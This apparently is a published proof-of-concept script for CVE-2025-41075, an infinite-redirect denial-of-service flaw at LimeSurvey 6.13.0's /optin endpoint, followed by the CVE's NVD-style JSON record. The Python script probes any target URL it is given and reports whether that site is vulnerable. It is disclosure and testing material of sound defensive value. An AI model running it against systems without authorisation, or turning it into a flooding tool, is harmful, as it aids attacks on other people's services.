CVE-2025-41075

# CVE-2025-41075 PoC - LimeSurvey /optin Infinite Redirect DoS import requests import time import sys from urllib3.exceptions import InsecureRequestWarning # Suppress SSL warnings requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def test_infinite_redirect(target_url, max_redirects=10): """ Test for CVE-2025-41075: Infinite redirect vulnerability in LimeSurvey /optin endpoint This PoC demonstrates the infinite redirect loop by attempting to access the /optin endpoint and tracking redirect behavior. Args: target_url: Base URL of the LimeSurvey instance max_redirects: Maximum number of redirects to follow (default: 10) Returns: bool: True if infinite redirect detected, False otherwise """ endpoint = "/optin" url = f"{target_url.rstrip('/')}{endpoint}" print(f"[*] Testing CVE-2025-41075: {url}") print(f"[*] Maximum redirects to follow: {max_redirects}") try: session = requests.Session() # Disable automatic redirect to detect the loop response = session.get(url, allow_redirects=False, timeout=10) redirect_count = 0 current_url = url redirect_chain = [] # Manual redirect following to detect infinite loop while response.status_code in [301, 302, 303, 307, 308] and redirect_count < max_redirects: location = response.headers.get('Location', '') # Handle relative redirects if location and not location.startswith(('http://', 'https://')): from urllib.parse import urljoin location = urljoin(current_url, location) redirect_chain.append({ 'step': redirect_count + 1, 'from': current_url, 'to': location, 'status': response.status_code }) print(f"[REDIR {redirect_count + 1}] {response.status_code}: {current_url} -> {location}") # Check for infinite redirect loop if location == current_url or location == url: print("[!] INFINITE REDIRECT LOOP DETECTED!") print(f"[!] Redirect chain returns to: {location}") return True current_url = location redirect_count += 1 try: response = session.get(location, allow_redirects=False, timeout=10) except requests.exceptions.RequestException as e: print(f"[!] Request error: {e}") break if redirect_count >= max_redirects: print(f"[!] WARNING: Reached maximum redirect limit ({max_redirects})") print("[!] Possible infinite redirect loop detected") return True print(f"[*] Test completed. Redirects followed: {redirect_count}") return False except requests.exceptions.Timeout: print("[!] Request timeout - possible DoS condition") return True except requests.exceptions.RequestException as e: print(f"[!] Request error: {e}") return False def main(): if len(sys.argv) < 2: print("Usage: python cve_2025_41075_poc.py <target_url>") print("Example: python cve_2025_41075_poc.py https://example.com/limesurvey/") sys.exit(1) target = sys.argv[1] print("=" * 60) print("CVE-2025-41075 PoC - LimeSurvey /optin Infinite Redirect DoS") print("=" * 60) vulnerable = test_infinite_redirect(target) print("\n" + "=" * 60) if vulnerable: print("[VULNERABLE] Target is vulnerable to CVE-2025-41075") print("[IMPACT] An attacker can cause DoS via infinite redirect loop") else: print("[SAFE] Target does not appear to be vulnerable") print("=" * 60) if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-41075", "sourceIdentifier": "[email protected]", "published": "2025-11-20T15:17:29.263", "lastModified": "2025-11-21T19:59:05.430", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in LimeSurvey 6.13.0 in the endpoint /optin that causes infinite HTTP redirects when accessed directly. This behavior can be exploited to generate a Denegation of Service (DoS attack), by exhausting server or client resources. The system is unable to break the redirect loop, which can cause service degradation or browser instability."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-835"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:limesurvey:limesurvey:6.13.0:*:*:*:*:*:*:*", "matchCriteriaId": "61C66C1A-C073-41C9-B847-F55896D4A6E2"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-limesurvey-0", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}